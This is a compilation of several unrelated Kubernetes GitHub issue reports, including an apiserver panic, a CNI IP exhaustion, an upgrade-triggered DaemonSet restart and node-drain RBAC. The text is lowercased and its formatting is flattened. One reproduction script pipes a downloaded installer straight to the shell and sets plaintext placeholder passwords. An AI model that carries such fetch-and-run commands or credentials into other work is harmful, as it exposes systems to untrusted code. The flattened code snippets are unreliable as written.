kubernetes-1.7.0/vendor/k8s.io/kubernetes/cmd/kube-apiserver/app.run 0xc420432200, 0xc42006e0c0, 0x0, 0x0 \r \txxx/src/kubernetes-1.7.0/vendor/k8s.io/kubernetes/cmd/kube-apiserver/app/server.go:155 +0x6a3\r main.main  \r \txxx/src/kubernetes-1.7.0/io/kubernetes/cmd/kube-apiserver/apiserver.go:51 +0xe4\r

is this a bug report or feature request?  :\r  \r   what happened  :\r the failedsync sync event provides no value at this point.\r \r we should create more specific events at this time.  event spam protection has merged to mitigate the risk of more detailed events.\r \r   what you expected to happen  :\r events should provide more value.\r \r   how to reproduce it  as minimally and precisely as possible   :\r n/a

 \r   what happened  :\r kubelet csi client checks for an exact version match.\r \r   what you expected to happen  :\r kubelet csi client checks for a major.minor.x match. it should not check that the patch level matches.\r \r cc: @saad-ali @vladimirvivien \r \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r integration failed, the apiserver panic : \r \r it seems race condition case for  clusterroles  as follow; refer to the attachment for the detail, \r \r    \r 2132 i0426 17:17:14.653388   20580 trace.go:76  trace 1009546348 : \ list /apis/rbac.authorization.k8s.io/v1/clusterroles\   started: 2018-     04-26 17:16:14.653009585 +0800 cst m=+153.540700977   total time: 1m0.000345077s :\r 2133 trace 1009546348 :  1m0.000345077s   1m0.00034003s  end\r 2134 e0426 17:17:14.653566   20580 runtime.go:66  observed a panic: &errors.errorstring{s:\ killing connection/stream because serving requ     est timed out and response had been started\ }  killing connection/stream because serving request timed out and response had been sta     rted \r 2135 /home/k82cn/go_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.g     o:72\r 2136 /home/k82cn/go_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.g     o:65\r 2137 /home/k82cn/go_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.g     o:51\r 2138 /usr/local/go/src/runtime/asm_amd64.s:573\r 2139 /usr/local/go/src/runtime/panic.go:502\r 2140 /home/k82cn/go_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go     :221\r 2141 /home/k82cn/go_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go     :105\r 2142 /home/k82cn/go_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/waitgroup.     go:45\r 2143 /usr/local/go/src/net/http/server.go:1947\r 2144 /home/k82cn/go_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/request     info.go:39\r 2145 /usr/local/go/src/net/http/server.go:1947\r 2146 /home/k82cn/go_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/wrap.go:41\r 2147 /usr/local/go/src/net/http/server.go:1947\r 2148 /home/k82cn/go_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:189\r 2149 /home/k82cn/go_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/scheduler/util.go:100\r 2150 /usr/local/go/src/net/http/server.go:1947\r 2151 /usr/local/go/src/net/http/server.go:2694\r 2152 /usr/local/go/src/net/http/server.go:1830\r 2153 /usr/local/go/src/runtime/asm_amd64.s:2361\r 2154 2018/04/26 17:17:14 http: multiple response.writeheader calls      <=========== race condition for http server.\r 2155 e0426 17:17:14.653839   20580 wrap.go:34  apiserver panic'd on get /apis/rbac.authorization.k8s.io/v1/clusterroles: killing connecti     on/stream because serving request timed out and response had been started\r    \r \r  test.log  https://github.com/kubernetes/kubernetes/files/1950519/test.log \r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  make test-integration what=k8s.io/kubernetes/test/integration/scheduler \r \r   environment  :\r - kubernetes version  use  kubectl version  : master branch\r - cloud provider or hardware configuration: none\r - os  e.g. from /etc/os-release : \r    \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :  linux wgl-ubuntu 4.4.0-116-generic  140-ubuntu smp mon feb 12 21:23:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools: none\r - others: can not reproduced every time : \r

from @deads2k's comments in https://github.com/kubernetes/kubernetes/pull/64310 issuecomment-392076699:\r \r > i think this is highlighting the need to have a dynamic shared informer factory. if i've reading this code correctly, we've just doubled the number of times we're caching resources and not created the capital to make this easy in general.\r \r > with a dynamic shared informer factory, it becomes possible wire the \ get informer for resource\  to delegate across multiple candidates as we do in openshift. all that helps the general cause and avoids unnecessary duplication. \r \r controllers like the gc controller and resource quota controller use informers and listers. currently, we only have support for static, generic informers and listers.\r \r to work with custom resources, the gc controller creates a new informer each time it comes across an unknown resource.\r \r https://github.com/kubernetes/kubernetes/blob/23a9136d4e91e6af7369573805ffb7803785ec1b/pkg/controller/garbagecollector/graph_builder.go l190-l197\r \r if we try to do something similar for the rq controller as well  creating a new informer and lister, see https://github.com/kubernetes/kubernetes/pull/64201 , we end up increasing the number of times we cache resources. this also does not make it easy if we want to add a similar behaviour in the future. \r \r to avoid this, we can tackle the problem by creating dynamic informers, then dynamic listers, then shared dynamic informers, then \ reactive\  shared dynamic informers  ones where it can figure out that the resource has been removed and recreated .\r \r   /cc @deads2k @sttts @liggitt @lavalamp @mbohlool

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

these tests fail on the master branch with no local changes on my macbook. needs investigation on why this is failing\r \r    \r --- fail: testensuresandboximageexists  0.00s \r \thelpers_test.go:180: testcase: \ should not pull image when it already exists\ \r \thelpers_test.go:180: testcase: \ should pull image when it doesn't exist\ \r \thelpers_test.go:180: testcase: \ should return error when inspect image fails\ \r \thelpers_test.go:180: testcase: \ should return error when image pull needs private auth, but none provided\ \r \thelpers_test.go:192: \r \t\t\terror trace:\thelpers_test.go:192\r \t\t\terror:      \treceived unexpected error:\r \t\t\t            \texpected   string{\ inspect_image\ , \ pull\ }, got   string{\ inspect_image\ , \ pull\ , \ pull\ }\r \t\t\ttest:       \ttestensuresandboximageexists\r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i have a kubernetes cluster with version  v1.10.2 and want to upgrade to v1.14.2 step by step, without the use of cluster lifecycle management tools like kubeadm.\r when upgrading from v1.13.2 to v1.14.2, some daemonset's container restart unexpectedly. \r \r a new  controllerrevision  was created at this time,  with the only difference from the previous one was adding  spec.containers 0 .securitycontext.procmount: default .\r \r  securitycontext.procmount  feature was added in v1.12 by  64283, but it's weird to have an impact at version v1.14.\r \r   what you expected to happen  :\r do not restart daemonset's container when upgrading \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a daemonset:\r    yaml\r apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   annotations:\r   labels:\r     name: nvidia-device-plugin-ds\r   name: nvidia-device-plugin-daemonset\r spec:\r   revisionhistorylimit: 10\r   selector:\r     matchlabels:\r       name: nvidia-device-plugin-ds\r   template:\r     metadata:\r       annotations:\r         scheduler.alpha.kubernetes.io/critical-pod: \ \ \r       creationtimestamp: null\r       labels:\r         name: nvidia-device-plugin-ds\r     spec:\r       containers:\r       - image: nvidia/k8s-device-plugin:1.11\r         imagepullpolicy: ifnotpresent\r         name: nvidia-device-plugin-ctr\r         resources: {}\r         securitycontext:\r           allowprivilegeescalation: false\r           capabilities:\r             drop:\r             - all\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         volumemounts:\r         - mountpath: /var/lib/kubelet/device-plugins\r           name: device-plugin\r       dnspolicy: clusterfirst\r       restartpolicy: always\r       schedulername: default-scheduler\r       terminationgraceperiodseconds: 30\r       tolerations:\r       - key: criticaladdonsonly\r         operator: exists\r       - effect: noschedule\r         key: nvidia.com/gpu\r         operator: exists\r       volumes:\r       - hostpath:\r           path: /var/lib/kubelet/device-plugins\r           type: \ \ \r         name: device-plugin\r    \r \r 2. upgrade kubernetes component from v1.10.2  or v1.11.2  to v1.14.2\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

this is a nuisance flake on the release branch. i don't have enough context to know if it's fixed on  master  or also just a tiny flake there  on  release-1.0  it's sitting at 1/100+, but that's still obnoxious , but i commented about it https://github.com/kubernetes/kubernetes/issues/9312 issuecomment-128134955 and it's still happening, so it's clearly a special snowflake.

i'm running a local kubernetes cluster using vagrant, today i recreated the cluster updating to the latest kubernetes version 1.1.1 and i'm getting the following error creating a simple rc:      name:                           mysql-fp4t5 namespace:                      dev image s :                       mysql node:                           127.0.0.1/127.0.0.1 start time:                     fri, 13 nov 2015 14:20:33 +0100 labels:                         app=demo,name=mysql,role=mysqldb status:                         pending reason: message: ip:                             172.17.0.2 replication controllers:        mysql  1/1 replicas created  containers:   mysql:     container id:       docker://2920575e57d043247f9c2fd5c1763d6ee2e96d82217717687c8c12f800652607     image:              mysql     image id:           docker://c29b1276a98ab5da05ca3cd1a97690767cb7f15478e1fd2d2b35fcd7e47b6f4e     state:              waiting       reason:           runcontainererror     ready:              false     restart count:      0     environment variables:       mysql_root_password:      password       mysql_user:               admin       mysql_password:           password       mysql_database:           wordpress conditions:   type          status   ready         false no volumes. events:   firstseen     lastseen        count   from                    subobjectpath                           reason          message   ─────────     ────────        ─────   ────                    ─────────────                           ──────          ───────   2m            2m              1       {scheduler }                                                    scheduled       successfully assigned mysql-fp4t5 to 127.0.0.1   2m            2m              1       {kubelet 127.0.0.1}     implicitly required container pod       pulled          container image \ gcr.io/google_containers/pause:0.8.0\  alre ady present on machine   2m            2m              1       {kubelet 127.0.0.1}     implicitly required container pod       created         created with docker id ead67f18723d   2m            2m              1       {kubelet 127.0.0.1}     implicitly required container pod       started         started with docker id ead67f18723d   2m            2m              1       {kubelet 127.0.0.1}                                             failedsync      error syncing pod, skipping: open /proc/12935/cgroup: no su ch file or directory   2m            2m              1       {kubelet 127.0.0.1}     spec.containers{mysql}                  pulling         pulling image \ mysql\    16s           16s             1       {kubelet 127.0.0.1}     spec.containers{mysql}                  pulled          successfully pulled image \ mysql\    14s           14s             1       {kubelet 127.0.0.1}     spec.containers{mysql}                  created         created with docker id 2920575e57d0   12s           12s             1       {kubelet 127.0.0.1}     spec.containers{mysql}                  failed          failed to start with docker id 2920575e57d0 with error: api  error  500 : cannot start container 2920575e57d043247f9c2fd5c1763d6ee2e96d82217717687c8c12f800652607:  8  system error: not a directory      docker logs output:      timestamp: 2015-11-13 14:23:30.251005569 +0100 cet code: system error  message: not a directory  frames:  --- 0: setuprootfs package: github.com/opencontainers/runc/libcontainer file: rootfs_linux.go@40  --- 1: init package: github.com/opencontainers/runc/libcontainer.  linuxstandardinit  file: standard_init_linux.go@57  --- 2: startinitialization package: github.com/opencontainers/runc/libcontainer.  linuxfactory  file: factory_linux.go@242  --- 3: initializer package: github.com/docker/docker/daemon/execdriver/native file: init.go@35  --- 4: init package: github.com/docker/docker/pkg/reexec file: reexec.go@26  --- 5: main package: main file: docker.go@18  --- 6: main package: runtime file: proc.go@63  --- 7: goexit package: runtime file: asm_amd64.s@2232      i'm using vagrant 1.7.2, docker 1.9 and debian sid:      root@debian:~  uname -a linux debian 3.16.0-4-amd64  1 smp debian 3.16.7-ckt4-3  2015-02-03  x86_64 gnu/linux root@debian:~  cat /etc/ release pretty_name=\ debian gnu/linux 8  jessie \  name=\ debian gnu/linux\  version_id=\ 8\  version=\ 8  jessie \  id=debian home_url=\ http://www.debian.org/\  support_url=\ http://www.debian.org/support/\  bug_report_url=\ https://bugs.debian.org/\       step to reproduce the issue:      vagrant init loicfrering/debian-unstable; vagrant up --provider virtualbox vagrant ssh sudo -i apt-get update && apt-get install -y vim curl curl -ssl https://get.docker.com/ | sh kubernetes_version=\ 1.1.1\  eth0=$ ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'  if   -z ${eth0}  ; then   eth0=$ ifconfig eth0 | grep inet | grep -v inet6 | tr -s \  \  | cut -d \  \  -f3  fi docker run --name k8s-etcd --net=host -d gcr.io/google_containers/etcd:2.0.9 /usr/local/bin/etcd --addr=127.0.0.1:4001 --bind-addr=0.0.0.0:4001 --data-dir=/var/etcd/data --initial-cluster-token=skydns-etcd docker run --name k8s-kubelet --net=host -d -v /var/run/docker.sock:/var/run/docker.sock  gcr.io/google_containers/hyperkube:v${kubernetes_version} /hyperkube kubelet --cluster_dns=${eth0} --cluster_domain=cluster.local --allow-privileged=true --api_servers=http://localhost:8080 --v=2 --address=0.0.0.0 --enable_server --hostname_override=127.0.0.1 --config=/etc/kubernetes/manifests docker run --name k8s-proxy -d --net=host --privileged gcr.io/google_containers/hyperkube:v${kubernetes_version} /hyperkube proxy --master=http://127.0.0.1:8080 --v=2 sleep 20s docker run --name k8s-kube2sky -d --net=host gcr.io/google_containers/kube2sky:1.11 -domain=cluster.local -kube_master_url=http://127.0.0.1:8080 -etcd-server=http://127.0.0.1:4001 docker run --name k8s-skydns -d --net=host gcr.io/google_containers/skydns:2015-03-11-001 -machines=http://127.0.0.1:4001 -addr=0.0.0.0:53 -domain=cluster.local      when kubernetes is up create a a simple namespace with a mysql rc running the following script:       !/bin/bash  kubernetes_version=\ 1.1.1\   namespaces= \ dev\    if   ! -f $ pwd /kubectl  ; then   wget https://storage.googleapis.com/kubernetes-release/release/v${kubernetes_version}/bin/linux/amd64/kubectl   chmod +x kubectl fi  cat <<- 'eof' > \ mysql-rc.yaml\  kind: replicationcontroller apiversion: v1 metadata:   name: mysql   labels:     name: mysql-rc     app: demo spec:   replicas: 1   selector:     name: mysql     role: mysqldb     app: demo   template:     spec:       containers:         - name: mysql           image: mysql           ports:             - containerport: 3306               name: mysql           env:           - name: mysql_root_password             value: password           - name: mysql_user             value: admin           - name: mysql_password             value: password           - name: mysql_database             value: wordpress     metadata:       labels:         name: mysql         role: mysqldb         app: demo eof  for namespace in ${namespaces @ } do cat <<- eof > \ namespace.yaml\    kind: \ namespace\    apiversion: \ v1\    metadata:      name: ${namespace}     labels:        name: ${namespace} eof ./kubectl create -f namespace.yaml  echo \ creating resource in ${namespace} namespace\  ./kubectl create --namespace=${namespace} -f mysql-rc.yaml done  exit 0      i have no problem using kubernetes 1.0.6. or running a mysql container manually:      root@debian:~  docker run -e mysql_root_password=password -e mysql_user=admin -e mysql_password=password -e mysql_database=wordpress mysql initializing database 2015-11-13t13:28:48.365485z 0  warning  innodb: new log files created, lsn=45790 2015-11-13t13:28:48.496818z 0  warning  innodb: creating foreign key constraint system tables. 2015-11-13t13:28:48.630085z 0  warning  no existing uuid has been found, so we assume that this is the first time that this server has been started. generating a new uuid: 78d68b18-8a0a-11e5-8a8b-0242ac110003. 2015-11-13t13:28:48.639924z 0  warning  gtid table is not ready to be used. table 'mysql.gtid_executed' cannot be opened. 2015-11-13t13:28:48.643809z 1  warning  root@localhost is created with an empty password ! please consider switching off the --initialize-insecure option. 2015-11-13t13:28:52.859950z 1  warning  'user' entry 'root@localhost' ignored in --skip-name-resolve mode. 2015-11-13t13:28:52.861269z 1  warning  'user' entry 'mysql.sys@localhost' ignored in --skip-name-resolve mode. 2015-11-13t13:28:52.861725z 1  warning  'db' entry 'sys mysql.sys@localhost' ignored in --skip-name-resolve mode.

currently we do not, which makes debugging much harder than it should be   17765   cc @ixdy @wojtek-t @dchen1107

controller manager fails with a hot loop here, logging the message multiple times per ms.  @caesarxuchao observed this in the garbage collector-- did you end up fixing it?

docker engine api was deprecated https://github.com/docker/engine-api 20 days ago. the client library is moved into docker repo https://github.com/docker/docker/tree/master/client.  we should consider switch to using it.  /cc @kubernetes/sig-node

is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r \r before node authorization, we create specific rbac to allow a node to drain itself  and others  via kubectl drain command.    this is useful for us because our background automation can then take a node out of service and perform maintenance on the node.\r \r with node authorization enabled it does not appear we can do the same because the node authorization works.  i think it will be useful to allow a node to drain itself and itself only via node authorization.\r \r   what you expected to happen  :\r \r i expect node authorization would allow a node to drain itself.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r before node authorization, we added the following rbac so a node can drain itself.\r \r    \r apiversion: rbac.authorization.k8s.io/v1beta1\r kind: clusterrole\r metadata:\r   name: system:node-drainer\r rules:\r - apigroups:\r   - \ \ \r   resources:\r   - pods/eviction\r   verbs:\r   - create\r - apigroups:\r   - apps\r   resources:\r   - statefulsets\r   verbs:\r   - get\r - apigroups:\r   - extensions\r   resources:\r   - daemonsets\r   - replicasets\r   verbs:\r   - get\r - apigroups:\r   - batch\r   resources:\r   - jobs\r   verbs:\r   - get\r    \r \r node authorization add create pods/eviction, but does not allow get of the other objects for the purpose of running kubectl drain.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.3/1.7.4\r - cloud provider or hardware configuration  : baremetal\r - os  e.g. from /etc/os-release : centos 7.3.1611\r - kernel  e.g.  uname -a  : 4.12.7\r - install tools: custom ansible playbook\r - others:\r \r @kubernetes/sig-node-feature-requests

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r in handlerrunner of container lifecycle, param of output message  msg  in both  exec  and  httpget  got re-declared， thus, the event message returned would always be empty.\r    \r \tcase handler.exec != nil:\r \t\tvar msg string\r \t\t// todo tallclair : pass a proper timeout value.\r \t\toutput, err := hr.commandrunner.runincontainer containerid, handler.exec.command, 0 \r \t\tif err != nil {\r \t\t\tmsg := fmt.sprintf \ exec lifecycle hook  %v  for container %q in pod %q failed - error: %v, message: %q\ , handler.exec.command, container.name, format.pod pod , err, string output  \r \t\t\tglog.v 1 .infof msg \r \t\t}\r \t\treturn msg, err\r \tcase handler.httpget != nil:\r \t\tmsg, err := hr.runhttphandler pod, container, handler \r \t\tif err != nil {\r \t\t\tmsg := fmt.sprintf \ http lifecycle hook  %s  for container %q in pod %q failed - error: %v, message: %q\ , handler.httpget.path, container.name, format.pod pod , err, msg \r \t\t\tglog.v 1 .infof msg \r \t\t}\r \t\treturn msg, err\r    \r   what you expected to happen  :\r do not re-declared the  msg \r \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r i've upgraded my cluster from 1.8.5 -> 1.9.0. i upgraded the packages on my system and then used the kubeadm upgrade instructions. the upgrade went well. i changed docker logging config and restarted docker. kube-dns did not start and i had two of them. also my deployments did not start as well.\r \r   what you expected to happen  :\r i expected my cluster to work normally as expected. \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create new cluster with 1.8.5.\r 2. update packages to 1.9.0\r 3. kubeadm upgrade plan\r 4. kubeadm upgrade apply 1.9.0\r 5. weep.\r \r   anything else we need to know?  :\r \r the main issue is that pods don't find an ip address: \r     \r  e1216 23:50:16.116098   28152 pod_workers.go:186  error syncing pod 6f5b9673-e2b5-11e7-a0f5-001e67d35991  \ kube-dns-6f4fd4bdf-xrj4w_kube-system 6f5b9673-e2b5-11e7-a0f5-001e67d35991 \  , skipping: failed to \ createpodsandbox\  for \ kube-dns-6f4fd4bdf-xrj4w_kube-system 6f5b9673-e2b5-11e7-a0f5-001e67d35991 \  with createpodsandboxerror: \ createpodsandbox for pod \\\ kube-dns-6f4fd4bdf-xrj4w_kube-system 6f5b9673-e2b5-11e7-a0f5-001e67d35991 \\\  failed: rpc error: code = unknown desc = networkplugin cni failed to set up pod \\\ kube-dns-6f4fd4bdf-xrj4w_kube-system\\\  network: failed to allocate for range 0: no ip addresses available in range set: 10.244.0.1-10.244.0.254\ \r     \r now, i have checked to see what happens in  /var/lib/cni/networks  and i have found that all the addresses are filled up:\r     \r /var/lib/cni/networks  ls cbr0/\r 10.244.0.10   10.244.0.123  10.244.0.147  10.244.0.170\t10.244.0.194  10.244.0.217  10.244.0.240  10.244.0.35  10.244.0.59  10.244.0.82\r 10.244.0.100  10.244.0.124  10.244.0.148  10.244.0.171\t10.244.0.195  10.244.0.218  10.244.0.241  10.244.0.36  10.244.0.6   10.244.0.83\r 10.244.0.101  10.244.0.125  10.244.0.149  10.244.0.172\t10.244.0.196  10.244.0.219  10.244.0.242  10.244.0.37  10.244.0.60  10.244.0.84\r 10.244.0.102  10.244.0.126  10.244.0.15   10.244.0.173\t10.244.0.197  10.244.0.22   10.244.0.243  10.244.0.38  10.244.0.61  10.244.0.85\r 10.244.0.103  10.244.0.127  10.244.0.150  10.244.0.174\t10.244.0.198  10.244.0.220  10.244.0.244  10.244.0.39  10.244.0.62  10.244.0.86\r 10.244.0.104  10.244.0.128  10.244.0.151  10.244.0.175\t10.244.0.199  10.244.0.221  10.244.0.245  10.244.0.4   10.244.0.63  10.244.0.87\r 10.244.0.105  10.244.0.129  10.244.0.152  10.244.0.176\t10.244.0.2    10.244.0.222  10.244.0.246  10.244.0.40  10.244.0.64  10.244.0.88\r 10.244.0.106  10.244.0.13   10.244.0.153  10.244.0.177\t10.244.0.20   10.244.0.223  10.244.0.247  10.244.0.41  10.244.0.65  10.244.0.89\r 10.244.0.107  10.244.0.130  10.244.0.154  10.244.0.178\t10.244.0.200  10.244.0.224  10.244.0.248  10.244.0.42  10.244.0.66  10.244.0.9\r 10.244.0.108  10.244.0.131  10.244.0.155  10.244.0.179\t10.244.0.201  10.244.0.225  10.244.0.249  10.244.0.43  10.244.0.67  10.244.0.90\r 10.244.0.109  10.244.0.132  10.244.0.156  10.244.0.18\t10.244.0.202  10.244.0.226  10.244.0.25   10.244.0.44  10.244.0.68  10.244.0.91\r 10.244.0.11   10.244.0.133  10.244.0.157  10.244.0.180\t10.244.0.203  10.244.0.227  10.244.0.250  10.244.0.45  10.244.0.69  10.244.0.92\r 10.244.0.110  10.244.0.134  10.244.0.158  10.244.0.181\t10.244.0.204  10.244.0.228  10.244.0.251  10.244.0.46  10.244.0.7   10.244.0.93\r 10.244.0.111  10.244.0.135  10.244.0.159  10.244.0.182\t10.244.0.205  10.244.0.229  10.244.0.252  10.244.0.47  10.244.0.70  10.244.0.94\r 10.244.0.112  10.244.0.136  10.244.0.16   10.244.0.183\t10.244.0.206  10.244.0.23   10.244.0.253  10.244.0.48  10.244.0.71  10.244.0.95\r 10.244.0.113  10.244.0.137  10.244.0.160  10.244.0.184\t10.244.0.207  10.244.0.230  10.244.0.254  10.244.0.49  10.244.0.72  10.244.0.96\r 10.244.0.114  10.244.0.138  10.244.0.161  10.244.0.185\t10.244.0.208  10.244.0.231  10.244.0.26   10.244.0.5   10.244.0.73  10.244.0.97\r 10.244.0.115  10.244.0.139  10.244.0.162  10.244.0.186\t10.244.0.209  10.244.0.232  10.244.0.27   10.244.0.50  10.244.0.74  10.244.0.98\r 10.244.0.116  10.244.0.14   10.244.0.163  10.244.0.187\t10.244.0.21   10.244.0.233  10.244.0.28   10.244.0.51  10.244.0.75  10.244.0.99\r 10.244.0.117  10.244.0.140  10.244.0.164  10.244.0.188\t10.244.0.210  10.244.0.234  10.244.0.29   10.244.0.52  10.244.0.76  last_reserved_ip.0\r 10.244.0.118  10.244.0.141  10.244.0.165  10.244.0.189\t10.244.0.211  10.244.0.235  10.244.0.3\t  10.244.0.53  10.244.0.77\r 10.244.0.119  10.244.0.142  10.244.0.166  10.244.0.19\t10.244.0.212  10.244.0.236  10.244.0.30   10.244.0.54  10.244.0.78\r 10.244.0.12   10.244.0.143  10.244.0.167  10.244.0.190\t10.244.0.213  10.244.0.237  10.244.0.31   10.244.0.55  10.244.0.79\r 10.244.0.120  10.244.0.144  10.244.0.168  10.244.0.191\t10.244.0.214  10.244.0.238  10.244.0.32   10.244.0.56  10.244.0.8\r 10.244.0.121  10.244.0.145  10.244.0.169  10.244.0.192\t10.244.0.215  10.244.0.239  10.244.0.33   10.244.0.57  10.244.0.80\r 10.244.0.122  10.244.0.146  10.244.0.17   10.244.0.193\t10.244.0.216  10.244.0.24   10.244.0.34   10.244.0.58  10.244.0.81\r     \r  and flannel creates a lot of files without stopping:\r     \r /var/lib/cni/flannel   ls | wc ; date \r    1207    1207   78455\r sat dec 16 23:53:25 utc 2017\r root@staging:/var/lib/cni/flannel   ls | wc ; date \r    1212    1212   78780\r sat dec 16 23:53:27 utc 2017\r root@staging:/var/lib/cni/flannel   ls | wc ; date \r    1214    1214   78910\r sat dec 16 23:53:28 utc 2017\r     \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r     \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t20:55:30z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     \r - cloud provider or hardware configuration: bare metal, single node\r - os  e.g. from /etc/os-release : \r     \r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r     \r - kernel  e.g.  uname -a  :  4.9.0-4-amd64  1 smp debian 4.9.65-3  2017-12-03  x86_64 gnu/linux\r - install tools: kubeadm\r - others: flannel 0.9.1 \r \r for some reason the system ends up with 2  deploy/kube-dns  and \r     \r  kubectl -n kube-system get all \r name                 desired   current   ready     up-to-date   available   node selector                   age\r ds/kube-flannel-ds   1         1         1         1            1           beta.kubernetes.io/arch=amd64   33m\r ds/kube-proxy        1         1         1         1            1           <none>                          38m\r \r name                          desired   current   up-to-date   available   age\r deploy/kube-dns               1         2         1            1           38m\r deploy/kubernetes-dashboard   1         1         1            1           30m\r \r name                                desired   current   ready     age\r rs/kube-dns-545bc4bfd4              1         1         1         38m\r rs/kube-dns-6f4fd4bdf               1         1         0         4m\r rs/kubernetes-dashboard-79ddfdc44   1         1         1         30m\r \r name                 desired   current   ready     up-to-date   available   node selector                   age\r ds/kube-flannel-ds   1         1         1         1            1           beta.kubernetes.io/arch=amd64   33m\r ds/kube-proxy        1         1         1         1            1           <none>                          38m\r \r name                          desired   current   up-to-date   available   age\r deploy/kube-dns               1         2         1            1           38m\r deploy/kubernetes-dashboard   1         1         1            1           30m\r \r name                                desired   current   ready     age\r rs/kube-dns-545bc4bfd4              1         1         1         38m\r rs/kube-dns-6f4fd4bdf               1         1         0         4m\r rs/kubernetes-dashboard-79ddfdc44   1         1         1         30m\r \r name                                           ready     status              restarts   age\r po/etcd-staging.gr8pi.net                      1/1       running             0          3m\r po/kube-apiserver-staging.gr8pi.net            1/1       running             0          4m\r po/kube-controller-manager-staging.gr8pi.net   1/1       running             0          4m\r po/kube-dns-545bc4bfd4-xs7zw                   3/3       running             6          38m\r po/kube-dns-6f4fd4bdf-wvmgp                    0/3       containercreating   0          2m\r po/kube-flannel-ds-8nb76                       1/1       running             3          33m\r po/kube-proxy-fvtzr                            1/1       running             0          4m\r po/kube-scheduler-staging.gr8pi.net            1/1       running             0          4m\r po/kubernetes-dashboard-79ddfdc44-p6sfv        1/1       running             4          30m\r \r name                       type        cluster-ip       external-ip   port s          age\r svc/kube-dns               clusterip   10.96.0.10       <none>        53/udp,53/tcp   38m\r svc/kubernetes-dashboard   nodeport    10.103.193.125   <none>        80:30940/tcp    30m\r     \r

